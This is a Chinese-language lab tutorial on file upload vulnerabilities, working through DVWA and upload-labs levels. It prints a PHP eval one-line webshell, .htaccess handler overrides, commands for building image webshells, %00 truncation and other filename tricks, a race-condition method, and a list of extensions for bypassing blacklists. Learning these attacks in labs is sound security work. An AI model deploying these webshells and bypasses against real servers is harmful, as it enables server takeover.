文章目录
- 文件上传漏洞
文件上传漏洞
是什么?
由于开发人员未对上传的文件进行严格的验证和过滤,导致用户可以上传一些不合法的文件到服务器中,危害服务器安全。
后果?
用户可以上传非法文件,控制整个网站甚至整个服务器。
文件上传的过程:
客户端发送文件->服务器接受文件->判断文件是否合法->临时文件->移动到指定目录。
PHP文件上传:
代码:
<?php
/*
文件上传代码
文件上传时会返回一些代码 返回客户端 客户端根据这些值判断上传是否正常
0; 没有错误发生,文件上传成功。
1; 上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
2; 上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE 选项指定的值。
3; 文件只有部分被上传。
4; 没有文件被上传。
*/// 判断返回的状态码是否大于0
if ($_POST["sub"]) {
if ($_FILES["file"]["error"] > 0) {
echo "Error:" . $_FILES["file"]["error"] . "<br/>";
} else {
$uplaod_path = '../upload' . '/' . $_FILES["file"]["name"];
$tmp_file = $_FILES["file"]["tmp_name"];
// 输出文件名
echo "Upload:" . $_FILES["file"]["name"] . "<br/>";
// 输出文件类型
echo "Type:" . $_FILES["file"]["type"] . "<br/>";
// 输出文件大小
echo "Size:" . ($_FILES["file"]["size"] / 1024) . "Kb<br/>";
// 输出临时储存的位置
echo "Stored in:" . $_FILES["file"]["tmp_name"] . "<br/>";
// 移动到指定目录
move_uploaded_file($tmp_file, $uplaod_path);
}
}
?>
<!DOCTYPE html>
<html>
<head></head>
<body>
<form action="#" method="post" enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" name="sub" value="Submit" />
</form>
</body>
</html>
修复意见
在网站中需要存在上传模块,需要做好权限认证,不能让匿名用户可访问。
文件上传目录设置为禁止脚本文件执行。这样设置即使被上传后门的动态脚本也不能解析,导致攻击者放弃这个攻击途径。
设置上传白名单,白名单只允许图片上传如,jpg,png,gif 其他文件均不允许上传
上传的后缀名,一定要设置成图片格式如 jpg,png,gif
文件上传漏洞攻击方法:
寻找文件上传:
文件上传常见在头像,文件编辑器,上传图片,上传媒体等。
常见可执行文件后缀名:
asp,asa,cdx,cer,php,aspx,ashx,jsp,php3,php.a,shtml,phtml
任意文件上传漏洞:
页面没有任何过滤与检验,可以上传任意文件,且上传目录支持解析可执行文件,危害性及大
代码分析:
环境:dvwa
,等级:low
。
由代码可见其没有经过任何的检验和过滤就把我们上传的文件存放到了服务器中,我们可以上传任何文件,比如PHP一句话木马:
// eval():将字符串(这里指我们post方法传递的cmd参数值)当做代码执行,@是PHP提供的错误信息屏蔽的专用符号。
<?php eval(@$_POST["cmd"]);?>
我们吧这个文件上传到服务器:
访问一下返回的路径:
因为我们只写了一句话所以什么也没有,我们可以用网站管理工具(像中国菜刀、蚁剑、哥斯拉等)链接一下,这里用蚁剑做演示:
打开蚁剑,右键添加并填上信息,测试链接:
连接成功后点击添加,在点进去我们刚添加的这一条就能看到整个网站的目录了:
如果权限足够我们甚至可以上传大马,控制整个服务器,由此看出危害是非常高的。
文件上传绕过js
:
有些网站在用户提交时会用JS来判断用户上传的格式是否正确,JS验证是不会提交数据包到服务器的,所以可以通过浏览器F12,查看网络是否有数据来判断是不是在前端的验证。
绕过方法:
方法一:直接把验证文件的JS代码删除或者关闭JS。
方法二:将文件改为合法后缀名后抓包再改为可执行文件。
列:
环境:upload-labs
第一关:
注:从这以后上传的文件为phpinfo.php
,内容为:
<?php phpinfo();?>
先查看源代码:
由代码可见其写了个JS函数checkFile()
来验证文件,只允许上传.jpg|.png|.gif
文件。
方法一:
我们可以找到这个函数,然后直接删掉,再进行上传:
或者直接关JS,我这里利用火狐浏览器插件Disable JavaScript
:
安装完此插件后在浏览器右上角就会出现一键关闭JS的按钮:
点击这个按钮关闭JS,再进行上传就可以了:
方法二:
我们先把后缀名改成他允许的后缀名,这里为jpg,并打开burp
进行抓包,然后上传:
点击上传后我们抓到这个包,再把文件后缀名改为PHP:
点击发送,关闭拦截,即可成功上传:
文件上传绕过contnet-type
:
有时候服务器会通过检测content-type
类型来判断文件是否合法,而content-type
类型是可以通过抓包的方式修改的,抓包后吧content-type
修改为合法类型即可以绕过。
环境:upload-labs
关卡:2.
方法:
方法一:上传可执行文件,然后抓包通过修改content-type
为合法文件类型进行绕过。
方法二:上传合法文件,然后抓包通过修改文件名后缀进行绕过。
两个方法其实是一样的,结果都是文件为可执行文件,content-type
类型为合法文件,主要在于content-type
类型为合法类型来绕过验证。
例:
代码分析:
由代码可知其只检测了文件类型:
那么我们上传可执行文件并抓包,修改content-type
类型为image/jpeg
即可以绕过:
上传成功。
文件上传绕过黑名单;
有时候会在文件上传的地方做黑名单进行限制,如果发现用户上传的文件名后缀在黑名单中则禁止上传:
环境:upload-labs
关卡:3
绕过方法:
不使用黑名单中的后缀名:
列:
代码分析:
可以看出黑名单中有.asp,.aspx,.php,.jsp
,这时如果服务器中间件为iis
,我们可以上传.asa .cer .cdx
后缀文件,如果网站中允许.net
执行,可以上传ashx
代替aspx
,当然前提得是服务器会解析执行这些脚本,并且不同中间件有不同的特性。
在apache
中,如果在AddType application/x-httpd-php .php .phtml .php3
开启了application/x-httpd-php
(有的版本默认开启),那么.phtml .php3
就会被解析成PHP文件。
所以这里我们直接上传.phtml .php3
文件就可以了:
上传成功。
文件上传.htaccess
重写绕过:
什么事.htaccess
文件?:
.htaccess
文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过.htaccess
文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess
文件需要apache
开启rewrite
重写模块(大部分都会开启):
有时服务器通过黑名单限制了我们所有可以上传的可执行文件名后缀,但是服务器开启了重写并且允许上传.htaccess
文件,我们就可以通过该文件借助绕过。
例:
环境upload-labs
关卡:4
代码分析:
同样是黑名单并且包括了所有的可执行文件后缀名,但是没有.htaccess
。
我们可以先上传.htaccess
文件内容:
<IfModule mime_module>
SetHandler application/x-httpd-php # 在当前目录下,所有文件都会被解析成PHP。
# AddType application/x-httpd-php .jpg 在当前目录下,所有jpg文件都会被解析成PHP。
</IfModule>
或者:
<FilesMatch "phpinfo.jpg">
SetHandler application/x-httpd-php # 在当前目录下,如果匹配到`phpinfo.jpg`文件,则当做PHP代码执行。
</FilesMatch>
建议使用第二种,第一种会误伤其他文件,我们先把写好的.htaccess
文件上传进去(前面的点一定要带上):
之后再上传phpinfo.jpg
:
之后我们右键复制图像链接,浏览器新建窗口输进去看看是否能执行:
可以看到文件名仍然是phpinfo.jpg
,但却被当做PHP代码执行了。
文件上传大小写绕过:
有时候服务器采用黑名单进行验证,但是并没有对大小写进行严格的限制,我们对后缀名进行大小写即可成功绕过:
例:
环境:upload-labs
关卡5
代码解析:
我们看到同样使用了黑名单,但是没有严格过滤大小写,也没有将后缀名改为小写,那么我们修改文件名后缀为大小写的格式即可绕过:
上传成功。
文件上传空格绕过:
有时候文件上传采用黑名单,但是没有去掉空格,我们上传时抓包,在文件名后缀后加一个空格即可绕过:
例:
环境upload-labs
关卡:6
代码解析:
同样使用了黑名单,并且将后缀转换成了小写,但是没有去掉空格,我们可以上传可执行文件然后抓包,在后缀名后面加上一个空格即可以绕过:
上传成功。
文件上传利用Windows特性绕过:
在Windows中,phpinfo.php.
后缀名后面的.
系统会自动忽略,所以如果对方服务器为Windows
,并且没有对最后的这个.
进行过滤,那么我们就可以利用这个特性进行绕过。
例:
环境:upload-labs
关卡:7
代码解析:
这里同样的使用了黑名单,并且限制了大小写和删除空格,但是没有删除后缀名后的.
,我们就可以利用特性进行绕过:
和空格绕过同理,先上传phpinfo.php
文件后抓包,在文件名后缀后加上一个.
,即可绕过:
上传成功。
文件上传利用NTFS交换数据流::$DATA
:
NTFS交换数据流(Alternate Data Streams,简称ADS),这是NTFS磁盘格式的特性之一。在Windows系统中,文件名+::DATA
的格式会当成文件流处理,我们可以利用这个来绕过过滤。:
:$DATA
:一个单引号时会上传文件但是没有内容。
例:
环境:upload-labs
关卡:8
代码分析:
黑名单,删除了末尾的点,并且将后缀名转换为了小写并去空。
我们利用::$DATA
来进行绕过,首先上传phpinfo.php
并进行抓包:
在文件名后缀末尾添加::$DATA
并点击发送。
上传成功,我们测试一下能不能执行:
也是可以的。
文件上传利用Windows的叠加特征
在Windows环境下,上传文件名为phpinfo.php:.jpg
时,会在目录下生成空白文件phpinfo.php
。
再利用PHP和Windows环境的叠加属性:
在正则匹配时以下符号相等:
双引号"
等于点.
,
大于>
等于问号?
,
小于<
等于星号*
,
那么phpinfo.<
等于phpinfo.*
/ phpinfo.<<<
等于phpinfo.***
/ phpinfo.>>>
等于phpinfo.???
。
思路
我们可以先上传phpinfo.php:.jpg
绕过过滤并在目录生成空白文件,然后再上传phpinfo.>>>
来匹配并覆盖phpinfo.php
。
例:
环境:upload-labs
关卡:9
代码分析:
代码设置了黑名单并限制了所有能上传的可执行文件后缀,过滤了点大小写::$DATA
和空格,我们上面的方法都不能用了,那么我们先上传phpinfo.php:.jpg
:
上传成功,我们进目录看一下:
可以看到生成了phpinfo.php
并且里面没有任何内容,那么我们接着上传phpinfo.>>>
:
上传成功,我们再去目录看一下:
可以看到里面已经有东西了,那是因为phpinfo.>>>
匹配到了phpinfo.php
并重新覆盖了。
文件上传双写绕过:
有时候会将黑名单中的内容替换成空,但只替换了一次,我们就可以使用双写绕过:
例:
环境:upload-labs
关卡:10
代码分析:
设置了黑名单,并且将黑名单的内容替换成了空,我们可以使用双写绕过:
成功上传,并且可以看到我们上传的phpinfo.pphphp
变成了info.php
。
文件上传目录可控%00截断
在upload-labs
第1到10关中使用的是黑名单检测,之后的关卡就是白名单检测,白名单检测比黑名单监测较为安全。
如果使用白名单检测,但是目录参数可控,并且满足gpc
关闭,php版本小于5.3.4
,我们就可以尝试%00
截断。
例
环境upload-labs
关卡:11
代码分析:
可以看到使用白名单检测,但是有一个$_GET['save_path']
参数允许用户传递的目录参数,我们可以上传phpinfo.php
文件并抓包,修改文件名为phponfo.jpg
,修改save_path
参数为:../upload/phpinfo.php%00.jpg
。
可以看到上传成功,去文件夹看一下:
注:这里save_path
参数不加.jpg
也是可以的,因为代码并没有对目录参数进行白名单对比,主要是%00
截断:
原理分析:
将文件名修改为phpinfo.jpg
用来绕过白名单,save_path
将参数修改为../upload/phpinfo.php%00.jpg
,主要是使用%00
将后面的目录截断(服务器未开启gpc
,%
不被转移的情况下),源代码:
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext; # 原理在这一行
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
,正常情况下文件路径会被拼接为../upload/新文件名.文件名后缀
,然后move_uploaded_file()
函数移动上传的文件到路径,我们传递参数后文件路径就会变为../upload/phpinfo.php%00/新文件名.php
,%00
将后面的截断掉了,所以结果其实是../upload/phpinfo.php
,之后move_uploaded_file()
函数移动我们上传的文件到该目录下成功完成上传漏洞。
POST下目录可控%00截断
如果路径参数使用的是POST传输,那么我们需要对%00
进行解码才会有效:
关卡:12:
代码分析:
和上一关卡的代码是一样的,只不过改为了POST传输目录参数,我们也是和上一关一样,上传phpinfo.php
文件然后抓包,修改文件名为phpinfo.jpg
绕过白名单,修改修改save_path
参数为:../upload/phpinfo.php%00.jpg
,但是要对%00
进行一次URL解码。
查看文件夹:
成功。
文件上传绕过文件头检测:
不同文件,头文件不尽相同,有的时候回去文件头进行检测,如果不是图片格式,那么就会禁止上传。
常见文件头
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424D
我们可以制作图片马,将PHP代码附加在图片上,在通过文件包含漏洞来进行读取。
copy 1.gif/b+phpinfo.php/a phpinfo.gif # Windows下使用copy制作图片马
cat phpinfo.php >> 1.jpg # Linux将webshell追加到图片中
例:
环境:upload-labs
关卡:13
代码分析:
由代码可见定义了getReailFileType()
函数用来读取文件前两个字节并判断是否为图片文件。
我们可以先制作图片马:
我们用记事本打开这个图片:
拉到最后可以发现已经追加上去了,我们吧这个图片上传:
上传成功,但是执行里面的PHP代码我们需要借助文件包含漏洞:
http://127.0.0.1/include.php?file=upload/1120220831170953.jpg
成功。
文件上传绕过二次渲染:
二次渲染会减少图片的体积,提高服务器性能,所以很多服务器会对上传的图片进行二次渲染,这是如果图片中包含webshell
,很大可能会被渲染掉.
我们可以上传一张图片,然后再下载这个渲染后的图片,使用HexEd、HxDHexEdito
等工具打开,查看重复的地方之后用PHP代码进行覆盖就可以绕过。
尽量使用GIF图片,gif 图片在二次渲染后,与原图片差别不会太大。
例:
环境upload-labs
关卡:16
代码分析:
由代码可知其获取了图片的基础信息后根据图片的格式进行二次渲染,我们先找一张GIF图片进行上传:
之后在将上传后的图片与上传前的图片放到HxDHexEdito
工具中作对比,然后把PHP代码写入到两张图片相同的地方:
之后我们再上传这张图片,并访问其链接:
成功,如果不成功一定不要硬盯着一张图片试,去另找一张图片!!!
文件上传条件竞争漏洞:
条件竞争:多个线程同时访问同一个代码、变量、文件等没有进行锁操作或者同步操作。
例:
环境:upload-labs
关卡:17:
代码分析:
由代码可知,他是先用move_upload_file()
函数将上传的文件移动到路径后又进行的rename()
改名,那么我们上传PHP文件,在rename
之前访问文件就可以绕过,那么我们上传PHP文件然后抓包
把他放在intruder
模块 ,不停提交这个包,线程开多一些:
这边不断发包,我们浏览器也不断访问这个文件直到访问成功:
完成。
文件上传绕过文件名可控
文件上传时,保存的文件名可被用户修改,类似于路径可控,我们也可以使用%00
截断或中间件配合漏洞使用:
例:
环境:upload-labs
关卡:19
代码分析:
代码可知,使用黑名单,有一个参数save_name
拼接到img_path
为文件路径,那么我们就可以将这个参数改为phpinfo.php%00.jpg
来绕过:具体操作先上传phpinfo.jpg
然后抓包,将save_name
参数改为phpinfo.php%00.jpg
,再上传:
成功!
文件上传数组绕过:
有时服务器会允许用户数组上传或命名,但是逻辑不严谨,就会容易出现漏洞,这种漏洞白盒审计发现居多,黑盒下难以发现。
例:
环境:upload-labs
关卡:20
代码分析:
把主要的地方拿出来:
我们上传phpinfo.jpg
文件,然后抓包,save_name
以字典的格式传参,如下:
上传成功,为什么?
$file_name = reset($file) . '.' . $file[count($file) - 1]; # 问题出现在$file[count($file) - 1]上
count()
函数获取数组中元素的数目,我们通过修改save_name
的值设置了一个数组[0]=>'phpinfo.php',[2]=>'jpg'
,数组中只有两个值,所以$file[count($file) - 1]=$file[2 - 1]=$file[1]
,但是我们上传的数组中没有[1]对应的值,所以成了$file_name=reset($file).'.'.$file[count($file)-1]='phpinfo.php'.'.'.NULL='phpinfo.php'
:
结束。
文件上传的一些中间件漏洞:
1,iis6.0的 '1.PHP;1.jpg'
2,apache某些版本的 '1.php.a'
3,nginx0.83 '1.jpg%00php'
4,phpcgi 漏洞(nginx iis7 或者以上) 上传图片后 1.jpg。访问 1.jpg/1.php 也会解析成php。
5,Apache HTTPD 换行解析漏洞(CVE-2017-15715)
6,apache 通过 mod_php 来运行脚本,其 2.4.0-2.4.29 中存在 apache 换行解析漏洞,在解析 php 时 xxx.php\x0A 将被按照 PHP 后缀进行解析,导致绕过一些服务器的安全策略
等等。。。
文件名后缀字典:
.php
.php5
.php4
.php3
.php2
.html
.htm
.phtml
.pht
.pHp
.phP
.pHp5
.pHp4
.pHp3
.pHp2
.Html
.Htm
.pHtml
.jsp
.jspa
.jspx
.jsw
.jsv
.jspf
.jtml
.jSp
.jSpx
.jSpa
.jSw
.jSv
.jSpf
.jHtml
.asp
.aspx
.asa
.asax
.ascx
.ashx
.asmx
.cer
.aSp
.aSpx
.aSa
.aSax
.aScx
.aShx
.aSmx
.cEr
.sWf
.swf
.htaccess